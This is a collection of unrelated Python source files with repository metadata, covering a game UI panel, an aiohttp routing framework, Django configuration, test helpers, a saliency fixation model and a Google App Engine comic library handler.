text_wordwrap = TTLocalizer.MRPinstructionsTextWordwrap, pos = TTLocalizer.MRPinstructionsTextPos, relief = None) self.playButton = DirectButton(parent = self.frame, relief = None, image = (buttonGui.find('**/InventoryButtonUp'), buttonGui.find('**/InventoryButtonDown'), buttonGui.find('**/InventoryButtonRollover')), image_color = Vec4(0, 0.90000000000000002, 0.10000000000000001, 1), text = TTLocalizer.MinigameRulesPanelPlay, text_fg = (1, 1, 1, 1), text_pos = (0, -0.02, 0), text_scale = TTLocalizer.MRPplayButton, pos = (1.0024999999999999, 0, -0.20300000000000001), scale = 1.05, command = self.playCallback) minigameGui.removeNode() buttonGui.removeNode() self.timer = ToontownTimer.ToontownTimer() self.timer.reparentTo(self.frame) self.timer.setScale(0.40000000000000002) self.timer.setPos(0.997, 0, 0.064000000000000001) self.frame.hide() def unload(self): self.frame.destroy() del self.frame del self.gameTitleText del self.instructionsText self.playButton.destroy() del self.playButton del self.timer def enter(self): self.frame.show() self.timer.countdown(self.TIMEOUT, self.playCallback) self.accept('enter', self.playCallback) def exit(self): self.frame.hide() self.timer.stop() self.ignore('enter') def playCallback(self): messenger.send(self.doneEvent)

[ "fr1tzanatore@aol.com" ]

fr1tzanatore@aol.com

c94905a59ff5189af34e689384643c0f2425d9aa

ed566ffe316fd54aaf4945ce18bb1d9d95597a1b

/www/webframe.py

190d96d36c6b29dc91e2344608fcd8cf59e66120

[]

no_license

wbjxxzx/aiohttp_blog

b63f7339c0d081a1525d12223ee8d882e2f80273

af4ac2c7deffd40ac31f9a92cb37277e33f1de0a

refs/heads/master

2020-03-27T00:51:20.493394

2018-09-12T10:59:33

145,662,544

0

null

UTF-8

Python

false

7,715

py

#!/usr/bin/env python3 # -*- coding:utf-8 -*- ''' __author__ = wbjxxzx ''' import asyncio import os import inspect import functools from urllib import parse from aiohttp import web from apis import APIError from mylogger import logger def get(path): """ define decorator @get('/path') """ def decorator(func): @functools.wraps(func) def wrapper(*args, **kw): return func(*args, **kw) wrapper.__method__ = 'GET' wrapper.__route__ = path return wrapper return decorator def post(path): """ define decorator @post('/path') """ def decorator(func): @functools.wraps(func) def wrapper(*args, **kw): return func(*args, **kw) wrapper.__method__ = 'POST' wrapper.__route__ = path return wrapper return decorator def get_required_kw_args(fn): ''' 将所有无默认值的命名关键字参数作为一个tuple 返回 ''' args = [] params = inspect.signature(fn).parameters for name, param in params.items(): if param.kind == inspect.Parameter.KEYWORD_ONLY and \ param.default == inspect.Parameter.empty: args.append(name) return tuple(args) def get_named_kw_args(fn): ''' 将所有的命名关键字参数作为一个tuple 返回 ''' args = [] params = inspect.signature(fn).parameters for name, param in params.items(): if param.kind == inspect.Parameter.KEYWORD_ONLY: args.append(name) return tuple(args) def has_named_kw_args(fn): ''' 检查是否有命名关键字参数 ''' params = inspect.signature(fn).parameters for name, param in params.items(): if param.kind == inspect.Parameter.KEYWORD_ONLY: return True def has_var_kw_arg(fn): ''' 检查是否有关键字参数集 ''' params = inspect.signature(fn).parameters for name, param in params.items(): if param.kind == inspect.Parameter.VAR_KEYWORD: return True def has_request_arg(fn): ''' 检查函数是否有 request 参数，若有，判断是否为最后一个参数 ''' sig = inspect.signature(fn) params = sig.parameters found = False for name, param in params.items(): if name == 'request': found = True continue # 找到 'request' 后，还出现位置参数，则抛出异常 if found and( param.kind != inspect.Parameter.VAR_POSITIONAL and param.kind != inspect.Parameter.KEYWORD_ONLY and param.kind != inspect.Parameter.VAR_KEYWORD): raise ValueError('request parameter must be the last named parameter in function: {}{}'.format( fn.__name__, str(sig) )) return found class RequestHandler(object): ''' 封闭url处理函数 ''' def __init__(self, app, fn): self._app = app self._func = fn self._has_request_arg = has_request_arg(fn) self._has_var_kw_arg = has_var_kw_arg(fn) self._has_named_kw_args = has_named_kw_args(fn) self._named_kw_args = get_named_kw_args(fn) self._required_kw_args = get_required_kw_args(fn) async def __call__(self, request): kw = None # 当传入的处理函数具有关键字参数集或命名关键字参数或 request参数 if self._has_var_kw_arg or self._has_named_kw_args or self._required_kw_args: if request.method == 'POST': if not request.content_type: return web.HTTPBadRequest('missing content-type') ct = request.content_type.lower() if ct.startswith('application/json'): params = await request.json() if not isinstance(params, dict): return web.HTTPBadRequest('JSON body must be object') kw = params elif ct.startswith(('application/x-www-form-urlencoded', 'multipart/form-data')): # 处理表单类型的数据，传入参数字典中 params = await request.post() kw = dict(**params) else: # 暂不支持处理其他正文类型的数据 return web.HTTPBadRequest('unsupported content-type: {}'.format(request.content_type)) if request.method == 'GET': qs = request.query_string if qs: # 获取URL中的请求参数，如 id=1 kw = dict() for k, v in parse.parse_qs(qs, True).items(): kw[k] = v[0] if kw is None: kw = dict(**request.match_info) else: if not self._has_var_kw_arg and self._named_kw_args: # remove all unamed kw: copy = {} for name in self._named_kw_args: if name in kw: copy[name] = kw[name] kw = copy # check named arg: for k, v in request.match_info.items(): if k in kw: logger.warning('duplicat arg name in named arg and kw args: {}'.format(k)) kw[k] = v if self._has_request_arg: kw['request'] = request # check required kw: if self._required_kw_args: # 收集无默认值的关键字参数 for name in self._required_kw_args: if not name in kw: return web.HTTPBadRequest('missing argument: {}'.format(name)) logger.warning('call with args: {}'.format(kw)) try: # 最后调用处理函数，并传入请求参数，进行请求处理 r = await self._func(**kw) return r except APIError as e: return dict(error=e.error, data=e.data, message=e.message) def add_static(app): ''' 添加静态资源路径 ''' path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'static') app.router.add_static('/static/', path) logger.info('add static {}=>{}'.format('/static/', path)) def add_route(app, fn): ''' 注册处理函数到web服务器的路由 ''' method = getattr(fn, '__method__', None) path = getattr(fn, '__route__', None) if path is None or method is None: raise ValueError('@get or @post not defined in {}'.format(fn)) if not asyncio.iscoroutinefunction(fn) and not inspect.isgeneratorfunction(fn): fn = asyncio.coroutine(fn) logger.info('add route {} {}=>{}({})'.format(method, path, fn.__name__, ', '.join(inspect.signature(fn).parameters.keys())) ) app.router.add_route(method, path, RequestHandler(app, fn)) def add_routes(app, module_name): ''' 自动注册符合条件的函数 ''' logger.debug('add url handlers {}...'.format(module_name)) n = module_name.rfind('.') if n == -1: mod = __import__(module_name, globals(), locals()) else: # 模块名，如 os.path 中的 path name = module_name[n+1:] mod = getattr(__import__(module_name[:n], globals(), locals(), [name]), name) for attr in dir(mod): # 模块所有属性，忽略私有 if attr.startswith('_'): continue fn = getattr(mod, attr) if callable(fn): method = getattr(fn, '__method__', None) path = getattr(fn, '__route__', None) if method and path: # 已经处理过的url函数注册到web服务器 logger.debug('find handler function: {}'.format(fn)) add_route(app, fn)

[ "wbjxxzx@163.com" ]

wbjxxzx@163.com

d9574ccc9abb854423191f325895d1951e3af024

1c0b48565e0e5f8815a271b8ece4c7f0dac450b7

/problems/ps1/code/pmfig.py

1beb83f86e1792d2099b23b3b59b0a698969122f

[]

no_license

dfm/biophysics

bbe450e8290268a13200e83c456e28c8f42237a7

188de89fed355ea00ebc7004c5e1ff792bcd1d28

refs/heads/master

2023-08-30T01:50:59.960527

2014-11-03T16:09:27

24,002,443

0

null

UTF-8

Python

false

1,679

py

#!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import print_function import matplotlib.pyplot as pl pl.figure(figsize=(10, 4)) bg = dict(color="b", alpha=0.5, lw=0, edgecolor="none") scat = dict(color="r", alpha=0.5, lw=0, edgecolor="none") pl.fill_between([4.333, 5, 8], [0.05, 0.6, 0], [-0.05, -0.6, 0], **scat) pl.fill_between([1, 2], [1, 1], [-1, -1], **bg) pl.fill_between([2, 3, 5], [1, 1, -0.4], [0.9, 0.9, -0.5], **bg) pl.fill_between([2, 3, 5], [-0.9, -0.9, 0.5], [-1, -1, 0.4], **bg) pl.fill_between([5, 8], [-0.4, 0], [-0.5, 0], **bg) pl.fill_between([5, 8], [0.4, 0], [0.5, 0], **bg) pl.plot([2, 2], [-0.9, 0.9], "k", lw=2) pl.plot([2, 2], [1, 1.5], "k", lw=2) pl.plot([2, 2], [-1, -1.5], "k", lw=2) pl.plot([3, 3], [-1.5, 1.5], "k", lw=2) pl.plot([4.333, 4.333], [-0.1, 0.1], "k", lw=2) pl.plot([4.333, 4.333], [-1.5, 1.5], ":k") pl.plot([5, 5], [-1.5, 1.5], "k", lw=2) pl.plot([6, 6], [-1.5, 1.5], ":k") pl.plot([6, 6], [-0.32, -0.28], "k", lw=2) pl.plot([6, 6], [0.32, 0.28], "k", lw=2) ax = pl.gca() ax.annotate("(a)", xy=(2, 1.5), xytext=(0, 10), textcoords="offset points", ha="center") ax.annotate("(b)", xy=(3, 1.5), xytext=(0, 10), textcoords="offset points", ha="center") ax.annotate("(c)", xy=(4.33, 1.5), xytext=(0, 10), textcoords="offset points", ha="center") ax.annotate("(d)", xy=(5, 1.5), xytext=(0, 10), textcoords="offset points", ha="center") ax.annotate("(e)", xy=(6, 1.5), xytext=(0, 10), textcoords="offset points", ha="center") pl.ylim(-1.5, 2) pl.axis("off") pl.gcf().subplots_adjust(left=0, right=1, bottom=0, top=1) pl.savefig("../phase_micro.pdf")

[ "danfm@nyu.edu" ]

danfm@nyu.edu

2f3e2bb3b574fb3c194fea01a846219c31977b6d

94a71148eab47c3a1ec544908e7e6b412566df68

/vouchers/admin.py

8bf8a0dc7e17ddda25d0431f17922ba9a813ee90

[]

no_license

hawkson-lemuel/shuttleapi

6d01a11d6a0dbdb12b7c49861aa48a5d89151c07

d55922f3cdb2d4346c5ba63465d2870308646942

refs/heads/master

2021-06-16T03:49:00.764031

2017-05-18T12:01:05

null

0

null

UTF-8

Python

false

90

py

from django.contrib import admin from .models import Voucher admin.site.register(Voucher)

[ "digiwebguy@gmail.com" ]

digiwebguy@gmail.com

5789908bf068c65a3e6da973128bbb0c6705d196

cdd90e6d02b93b7ee73feadc99625440b64853d4

/tallerAjax/tallerAjax/wsgi.py

ed97529410f17c96544e40b26656c1736f6a5d75

[]

no_license

alvaromartinez986/tallerAjax

f8f741ffde4c2d2e4b68dccb73528c993a894681

e62c73c5ecc15b878458f54c4f62a5741bb96e62

refs/heads/master

2021-05-30T07:27:53.940582

2015-09-18T06:22:23

null

0

null

UTF-8

Python

false

395

py

""" WSGI config for tallerAjax project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/1.7/howto/deployment/wsgi/ """ import os os.environ.setdefault("DJANGO_SETTINGS_MODULE", "tallerAjax.settings") from django.core.wsgi import get_wsgi_application application = get_wsgi_application()

[ "martinez.alvaro@correounivalle.edu.co" ]

martinez.alvaro@correounivalle.edu.co

a5e8d26bef7222b0c8b18c4ab01d38a4f6dd7c5c

c3592ad2229ef0b99b611765339ae86221931804

/DAY1/translation_word.py

1e5bb18823224b38a75207f8df8bc747690dba45

[]

no_license

asd307769162/Python-Learning

5073eb71977418e317bc6467295be775eea28708

2be768ec8fddb594edcd386e22201ae18aa1928f

refs/heads/master

2021-05-18T16:41:11.114222

2018-04-14T03:24:51

null

0

null

UTF-8

Python

false

537

py

import urllib.request import urllib.parse import json translation=input('请输入要翻译的内容：') url= 'http://fy.iciba.com/ajax.php?a=fy' data={} data['f']='auto' data['t']='auto' data['w']=translation data=urllib.parse.urlencode(data).encode('utf-8') response =urllib.request.urlopen(url,data) html=response.read().decode('utf-8') json.loads(html) target=json.loads(html) answer=target['content']['word_mean'] print('原文：'+translation) n=len(answer) i=0 while i<n: print('结果：'+answer[i]) i=i+1

[ "admin@busby.com.cn" ]

admin@busby.com.cn

c05db998bdb2296022feab4c528a8fe046e2d833

b365e0a65ce204708b52959f08da0ae7605e69c2

/python/modules/kivydd/app/CAppThread.py

ede2bbfdf9ee5dbb311218d6648158e7f5179c71

[ "MIT" ]

permissive

darwinbeing/deepdriving-tensorflow

af500f2caf6ffb9cc1f019fbdb79878e6a468a96

036a83871f3515b2c041bc3cd5e845f6d8f7b3b7

refs/heads/master

2021-06-26T15:41:18.031684

2017-08-23T13:11:37

103,213,437

1

0

null

UTF-8

Python

false

2,751

py

# The MIT license: # # Copyright 2017 Andre Netzeband # # Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated # documentation files (the "Software"), to deal in the Software without restriction, including without limitation # the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and # to permit persons to whom the Software is furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all copies or substantial portions of # the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO # THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, # TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # # Note: The DeepDriving project on this repository is derived from the DeepDriving project devloped by the princeton # university (http://deepdriving.cs.princeton.edu/). The above license only applies to the parts of the code, which # were not a derivative of the original DeepDriving project. For the derived parts, the original license and # copyright is still valid. Keep this in mind, when using code from this project. import kivy from kivy.app import App from kivy.uix.widget import Widget from .main_app import MainApp import threading class CAppThread(): _Name = "main" _Memory = None _App = None _Thread = None _IsExist = False def __init__(self, Name): self._Name = Name def run(self, MainWindow): kivy.require('1.10.0') self._Memory = self.initMemory() self._App = MainApp(MainWindow, self._Memory, self) self._App.title = self._Name self.initApp(self._Memory, self._App) self._Thread = threading.Thread(target=self._mainLoop) self._IsExit = False self._Thread.start() self._App.run() self._IsExit = True self._Thread.join() self._Thread = None self._cleanUp(self._Memory, self._App) self._Memory = None self._App.deleteAll() self._App = None def _mainLoop(self): while self._IsExit == False: if self.doLoop(self._Memory, self._App) == False: break def initMemory(self): return None def initApp(self, Memory, App): pass def doLoop(self, Memory, App): return True def _cleanUp(self, Memory, App): pass

[ "andre.netzeband@hm.edu" ]

andre.netzeband@hm.edu

e72d43a85c51a829ebef00ad4403ee76822eabb5

9fa429bcb1750317b962c1c0ed8d0be689ed1137

/gitview/gitview/gitview/product_settings.py

13783213241fec5109d7ff7e59c2a55fd517e21c

[]

no_license

dfguan/gitview

4f870d9977133a4a70e11438a58cc8edd62f1b41

1594f29fd52d43d6483da5b8f023f934369b45f4

refs/heads/master

2021-05-27T03:36:20.768224

2014-02-25T03:04:07

null

0

null

UTF-8

Python

false

807

py

import os from gitview.settings import * DEBUG = False TEMPLATE_DEBUG = DEBUG DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', 'NAME': 'gitview', 'USER': 'root', 'PASSWORD': '', 'HOST': '', 'PORT': '', } } # Following settings must be changed for server environment PROJECT_DATA_ROOT = '/usr/share/gitview' TEMPLATE_DIRS = ( os.path.join(PROJECT_DATA_ROOT, 'templates'), ) # Path to static files, that should be /usr/share/gitview/media STATIC_ROOT = os.path.join(PROJECT_DATA_ROOT, 'static') GITVIEW_DATA_ROOT = '/var/gitview' # Path to store PDF report files PDF_REPORTFILES = os.path.join(GITVIEW_DATA_ROOT, 'pdfs') # Viewapp will clone projects to this path PROJECT_DIR = os.path.join(GITVIEW_DATA_ROOT, 'projects')

[ "zyang@redhat.com" ]

zyang@redhat.com

7b06a1a4ee0ccd926b9d516d17e90b5f44961331

7f4b902c164249f231acc53320b5cce6650abaed

/tests/helpers.py

a09a6ff493cc2a48076566955c7dae8879b9eaed

[ "MIT" ]

permissive

flacerdk/smoke-signal

2322ce0b59278004c8665d6754e0317b6b58ed82

f6cf85dba87348f97d94e3e464e1eb552c1ea72e

refs/heads/master

2020-04-05T23:03:30.229076

2017-02-25T11:20:50

32,870,595

0

null

UTF-8

Python

false

1,648

py

import codecs import json from urllib.parse import urlparse from utils.generate_feed import SampleFeed def get_json(response): return json.loads(codecs.decode(response.get_data(), "utf-8")) def create_mock_rss(title, feed_path, num_entries): feed = SampleFeed(title, num_entries) feed.write_to_file(feed_path) return feed_path def add_feed(app, url): data = json.dumps({"url": url}) return app.post("/api/feed", data=data, content_type="application/json") def add_mock_feed(test_app, title, feed_path, num_entries): feed_path = create_mock_rss(title, feed_path, num_entries) resp = add_feed(test_app, "file://" + feed_path) return get_json(resp) def add_entries(feed, num_entries): title = feed["title"] feed_path = urlparse(feed["url"]).path new_feed = SampleFeed(title, num_entries) new_feed.write_to_file(feed_path) def refresh_feed(app, feed, num_entries): add_entries(feed, num_entries) return app.post("/api/feed/{}".format(feed["id"])) def get_entries_response(app, feed): app.post("/api/feed/{}".format(feed["id"])) return app.get("/api/feed/{}".format(feed["id"])) def change_first_entry(app, feed, data): parsed_json = get_json(get_entries_response(app, feed)) entry_list = parsed_json["_embedded"]["entries"] entry = entry_list[0] return get_json( change_entry_status(app, entry, data))["_embedded"]["entry"] def change_entry_status(app, entry, data): resp = app.post( "/api/entry/{}".format(entry["id"]), data=json.dumps(data), content_type="application/json") return resp

[ "fegolac@gmail.com" ]

fegolac@gmail.com

cb883f0edecad79859e6b0bf8405b1f641e8f013

049500afdada566385fc4d80f3040a5b22b3f753

/Beatles.py

14c7f75af67fc2b1ab1808ade94d7a69e9eaa010

[]

no_license

wyattm14/Song-Lyric-Generation

7db29b7ea4e2a52539fe1ba65baa66b2a64b08f6

4eaa297e9d4545cda946d2a9d4402256d8deb005

refs/heads/master

2022-04-21T19:12:04.063364

2020-04-26T00:32:52

258,903,288

0

null

UTF-8

Python

false

343

py

with open("test.txt", "r") as file: lines = file.read().splitlines() uniques = set() for line in lines: line.lower() uniques |= set(line.split()) # print(f"Unique words: {len(uniques)}") # print(uniques) print(lines.count()) list = [] for w in uniques: print(w) list.append(w)

[ "wyattmiller@Wyatts-MBP.hsd1.co.comcast.net" ]

wyattmiller@Wyatts-MBP.hsd1.co.comcast.net

9e2a5e831ec60facce6748b8c74c0304230be665

a5d211cc00e481482c2f7185e4bbb081c53f1be2

/src/LocalSaliencyModel/model.py

9326f9a0b58e0a88e54cd8106c2c338a8e67fda8

[ "MIT" ]

permissive

noashin/local_global_attention_model

ca51b7a2fb71e3a4c61b429aa82cee3f4413793b

531e6a4cc1dc364a6a4168de1b9f972727a8aeb1

refs/heads/master

2022-12-05T23:15:43.564526

2020-08-26T14:56:27

290,518,017

0

null

UTF-8

Python

false

5,510

py

import sys import pickle import numpy as np sys.path.append('./../') sys.path.append('./../../') from src.LocalGlobalAttentionModel.model import Model as parent_model from .vel_param import VelParam as vel_param from src.HMC.hmc import HMC class Model(parent_model): """ This class describes a model where fixations are chosen from the static saliency convolved with a Gaussian. p(z_t|z_{t-1}) = s(t) * n(z_t|z_{t-1}, xi) """ def __init__(self, saliencies, xi): super().__init__(saliencies) self.xi = xi self.gammas = None def get_next_fix(self, im_ind, sub_ind, prev_fix, cur_fix, s_t): """ This method samples the next fixation given the current fixation from p(z_t|z_{t-1}) = s(t) * n(z_t|z_{t-1}, xi). It includes :param im_ind: index of the current image :param sub_ind: :param prev_fix: :param cur_fix: coordinates of the current fixation :param s_t: :return: [z_x, z_y] coordinates of the next fixation location. """ xi_val = self.xi.value mean = cur_fix rad_rows = (self.rows_grid - mean[0]) ** 2 rad_cols = (self.cols_grid - mean[1]) ** 2 # normal distribution over the entire image gauss = np.exp(- rad_rows / (2 * xi_val[0]) - rad_cols / (2 * xi_val[1])) / \ (2 * np.pi * np.sqrt(xi_val[0] * xi_val[1])) prob = gauss * self.saliencies[im_ind] prob /= prob.sum() # chose a pixel in the image from the distribution defined above inds = np.random.choice(range(self.pixels_num), 1, p=prob.flatten()) # choice uses the inverse transform method in 1d next_fix = np.unravel_index(inds, self.saliencies[im_ind].shape) next_fix = np.array([next_fix[0][0], next_fix[1][0]]) return next_fix, 0 def generate_gammas(self): """ In this model gamma = 1 for each data point. """ self.gammas = [] for i in range(len(self.fix_dists_2)): self.gammas.append([]) for s in range(len(self.fix_dists_2[i])): self.gammas[-1].append(np.zeros(self.fix_dists_2[i][s].shape[1])) def sample(self, num_samples, save_steps, file_path): """ This methods generates samples from the posterior distribution of xi. Since there is no explicit form for the posterior distribution of xi an HMC sampler is used. See paper for further information. :param num_samples: number of sampled to be generated. :param save_steps: whether to save the chain :param file_path: path where to save the chain :return: list of length num_samples with samples of xi """ if not self.gammas: self.generate_gammas() vel = vel_param([0.1, 0.1]) delta = 1.5 n = 10 m = num_samples # initiate an HMC instance hmc = HMC(self.xi, vel, delta, n, m) gammas_xi = [[self.gammas[i][s].copy() - 1] for i in range(len(self.gammas)) for s in range(len(self.gammas[i]))] # perform the sampling hmc.HMC(gammas_xi, self.saliencies, self.fix_dists_2, self.dist_mat_per_fix) samples_xi = hmc.get_samples() if save_steps: with open(file_path, 'wb') as f: pickle.dump([samples_xi], f) return samples_xi def calc_prob_local(self, *args): """ This method calculates the probability of a local step which is always 0 in the case of this model. :return: 0 """ return 0 def calc_prob_global(self, im_ind, fixs_dists_2, sal_ts, fixs, for_nss=False): """ This method calculates the probability of a global step according to the local saliency model, for an entire scanpath. p(z_t|z_{t-1}) = s(z_t) * n(z_t|z_{t-1}, xi) :param im_ind: index of the image :param fixs_dists_2: an array of shape 3 x (T -1). see set_fix_dist_2 for description. :param sal_ts: time series of the saliency value for each fixation. Array of length T. :param fixs: fixation locations. Array of shape 2 x T :param for_nss: whether to standerize the density for NSS or not. :return: array of length T with the probability of each fixation """ xi = self.xi.value radx = (self.rows_grid[:, :, np.newaxis] - fixs[im_ind][0][0, :-1]) ** 2 rady = (self.cols_grid[:, :, np.newaxis] - fixs[im_ind][0][1, :-1]) ** 2 gauss = np.exp(- radx / (2 * xi[0]) - rady / (2 * xi[1])) / (2 * np.pi * np.sqrt(xi[0] * xi[1])) prob_all_pixels = gauss * self.saliencies[im_ind][:, :, np.newaxis] if for_nss: prob_global = prob_all_pixels / prob_all_pixels.sum(axis=(0, 1)) else: # we assume here just one subject sub = 0 X = fixs_dists_2[im_ind][sub] nominator_gauss = np.exp(- 0.5 * X[0] / xi[0] - 0.5 * X[1] / xi[1]) / \ (2 * np.pi * np.sqrt(xi[0] * xi[1])) nominator = nominator_gauss * sal_ts[im_ind][0][1:] prob_global = nominator / prob_all_pixels.sum(axis=(0, 1)) return prob_global def calc_ros(self, *args): """ This methods calculates the probability of a local step. In this model it is always 0. :return: 0 """ return 0

[ "noa.shinitski@gmail.com" ]

noa.shinitski@gmail.com

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/handlers/library/read_unread.py

c420dec74e27dd714ce31c620d05c037c9c7186c

[]

no_license

dpvazquez20/ComicLib

01be35bb674f37240d131d912c2239fcafd17f6c

b7dfbd6d2c05b251e6bf08f7c93d691fa263eda9

refs/heads/master

2020-06-10T00:24:55.579127

2019-06-27T14:33:10

193,528,678

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#!/usr/bin/env python # -*- coding: utf-8 -*- import webapp2 import time import copy from webapp2_extras import jinja2 from google.appengine.ext import ndb from handlers.elements.sessions import BaseHandler from handlers.lang.spa import lang as spa from handlers.lang.eng import lang as eng from models.db import User, ComicBook, Author, Shelving """ Modify handler in the library home page Get: redirect to the library home page Post: it's responsible for modifying the comic data in the database""" class ReadUnreadLibraryHandler(BaseHandler): # Redirect to the library home page def get(self): self.redirect("/library") # Modify a comic def post(self): jinja = jinja2.get_jinja2(app=self.app) # Check if the client is logged in if self.session.get('session_role') == 'client': # If it's logged in, get the session variables, show the home page # Get the comic attributes state = self.request.get("state", "") # Comic read or unread state = state.decode("utf8") key = self.request.get("comic_key", "") key = ndb.Key(urlsafe=key) comic = key.get() # Get the comic with that key keys_page_list = self.request.get("keys_page_list", "") # Comic keys (only comics in the current page) aux_all_keys = self.request.get("all_keys", "") # All the comic keys (for the order field) # Initialize variables aux = list() # Support variable aux3 = list() # Support variable all_comics = list() # All comics (for the user search field) shelving_name = list() # Shelving name # Get the shelvings shelvings = Shelving.query(Shelving.username == self.session.get('session_name')).order(Shelving.name).fetch() # Transform the HTML string in a list all_keys = copy.copy(aux_all_keys) aux_all_keys = self.transform_keys(aux_all_keys) # Get all comics that belongs to the current user if not self.session.get("shelving"): comics = ComicBook.query(ComicBook.users.username == self.session.get('session_name')).order(ComicBook.users.addition_date) # All comics ordered by the addition date all_comics_user = copy.copy(comics) # ALL comics (for the search field) all_comics_user = all_comics_user.fetch() else: key = ndb.Key(urlsafe=self.session.get("shelving")) comics = ComicBook.query(ComicBook.users.username == self.session.get('session_name'), ComicBook.users.shelving == key).order(ComicBook.users.addition_date) # Comics in the shelving ordered by the addition date shelving = key.get() shelving_name = shelving.name del shelving all_comics_user = ComicBook.query(ComicBook.users.username == self.session.get('session_name')).fetch() # ALL comics (for the search field) for comic2 in comics: # Get ALL the keys aux.append(comic2.key.urlsafe()) del comic2 for key3 in aux_all_keys: # Compare the "list" given by HTML with aux for making the new all keys list (all_keys) for key2 in aux: if key3 == str(key2): key2 = ndb.Key(urlsafe=key2) aux3.append(key2) break del key2 del key3 # Get all db comics offset = (self.session.get('current_number_page') - 1) * self.session.get('num_elems_page') comics = ComicBook.query(ComicBook.key.IN(aux3)).fetch(self.session.get('num_elems_page'), offset=offset) # Get the comics (if --> default, else --> see shelving) if not self.session.get('shelving'): comics = self.get_comics_read_and_without_shelving(comics) # Get read comics and the ones that aren't in a shelving else: self.get_comics_read(comics) # Get read comics # Set the default language of the app if self.session['session_idiom'] == "spa": lang = spa # Spanish strings elif self.session['session_idiom'] == "eng": lang = eng # English strings else: lang = eng # Default english # Variables to be sent to the HTML page values = { "lang": lang, # Language strings "session_name": self.session.get('session_name'), # User name "session_role": self.session.get('session_role'), # User role "session_picture": self.get_session_image(self.session.get('session_name')), # User picture "session_genre": self.session.get('session_genre'), # User genre "comics": comics, # Comics "current_number_page": self.session.get('current_number_page'), # Current number page "pages": self.session.get('pages'), # Pages for the pagination "last_page": self.session.get('last_page'), # Last page number "keys_page_list": keys_page_list, # Comics keys that are currently in the page "all_keys": all_keys, # All comic keys "all_comics_user": all_comics_user, # All user comic (for the search field) "all_comics": all_comics, # ALL comics (for the user search field) "shelvings": shelvings, # All user shelvings "shelving_name": shelving_name # Shelving name } # If the key is from an comic if comic and comic is not None and (state == "read" or state == "unread"): # Modify the comic state for user_comic in comic.users: if user_comic.username == self.session.get("session_name"): user_comic.state = state aux2 = comic.put() time.sleep(1) # If the modification was successful if aux2 is not None: # Variables to be sent to the HTML page values["ok_message"] = lang["comic_modified_successfully"] # Ok message (Comic modified successfully) # Get all db Comics (Limited to the number given by the session variable [10 by default]) comics = ComicBook.query(ComicBook.key.IN(aux3)).fetch(self.session.get('num_elems_page'), offset=offset) # Get the comics (if --> default, else --> see shelving) if not self.session.get('shelving'): comics = self.get_comics_read_and_without_shelving(comics) # Get read comics and the ones that aren't in a shelving else: self.get_comics_read(comics) # Get read comics values["comics"] = comics # Else show an error message else: # Variables to be sent to the HTML page values["error_message"] = lang["error_modify"] # Error message (The modification couldn't be done) del aux2 # Delete variables to free memory # Else show an error message else: # Values to be sent to the HTML page values["error_message"] = lang["comic_not_modified"] # Error message (Comic couldn't be modified) all_comics_user = ComicBook.query(ComicBook.users.username == self.session.get('session_name')).fetch() values["all_comics_user"] = all_comics_user all_comics = ComicBook.query().fetch() del lang, key, comic, keys_page_list, aux_all_keys, aux, aux3, \ all_comics_user, offset, all_keys, all_comics, shelving_name # Delete variables to free memory self.session_store.save_sessions(self.response) # Save sessions self.response.write(jinja.render_template("/library/default.html", **values)) # Go to the library home page # If it isn't logged in, redirect to the login page else: self.redirect("/login") # Transform the HTML string in a list def transform_keys(self, keys): keys = keys.replace("[", "") keys = keys.replace("]", "") keys = keys.replace("'", "") keys = keys.replace('"', '') keys = keys.split(", ") return keys # Get the session user image def get_session_image(self, name): user = User.query(User.name == name).fetch() return user[0].picture # Get all authors for the add author def get_authors(self): authors = Author.query().fetch() return authors # Get the read comics and the ones that aren't in a shelving def get_comics_read_and_without_shelving(self, comics): if len(comics) > 0: aux = list() for i in range(0, len(comics)): for user_comic in comics[i].users: if user_comic.username == self.session.get('session_name'): if user_comic.state == "read": comics[i].is_read = True else: comics[i].is_read = False if user_comic.shelving is None: aux.append(comics[i]) del user_comic del i return aux # Get the read comics def get_comics_read(self, comics): if len(comics) > 0: for i in range(0, len(comics)): for user_comic in comics[i].users: if user_comic.username == self.session.get('session_name'): if user_comic.state == "read": comics[i].is_read = True else: comics[i].is_read = False del user_comic del i app = webapp2.WSGIApplication([], debug=True)

[ "noreply@github.com" ]

dpvazquez20.noreply@github.com

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/moldyn/dumpPlotProjections.py

472c6ed174b9523933b201ce347e106677bb071f

[]

no_license

acadien/matcalc

54a9b9d5a944f9b4a27f3e0dc905c40391da9c07

037d7080c07856877d7a3f5f9dcbb2dec5f38dd1

refs/heads/master

2016-09-11T08:28:07.310789

2015-05-19T18:14:56

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#!/usr/bin/python import plotRemote as pr #mine import sys import pylab as pl def usage(): print "%s <dump file with atomic coordinates>"%sys.argv[0].split("/")[-1] if len(sys.argv)!=2: usage() exit(0) #Prepare data fname=sys.argv[1] fraw = open(fname,"r").readlines() #Prepare plotting mxc=20 iline=0 natoms=0 c=0 while True: cfgFound=False info="Configuration Number %d\n"%c for i,line in enumerate(fraw[iline:]): if "ITEM: TIMESTEP" in line: info+="Timestep = %d\n"%int(fraw[iline+i+1]) if "ITEM: NUMBER OF ATOMS" in line: natoms=int(fraw[iline+i+1]) info+="N-Atoms = %d\n"%natoms if "ITEM: ATOMS" in line: cfgFound=True iline+=i+1 break #no more configurations, stop plotting yo if not cfgFound: break c+=1 #Parsing function for parsing atomic coordinates and types parse=lambda x:[int(x[0]),float(x[1])/mxc,float(x[2]),float(x[3]),float(x[4])] #Apply the parse on the portion of the datafile containing coordinates number,colors,xs,ys,zs = \ zip(*[parse(line.split()) for line in fraw[iline:iline+natoms]]) iline+=natoms 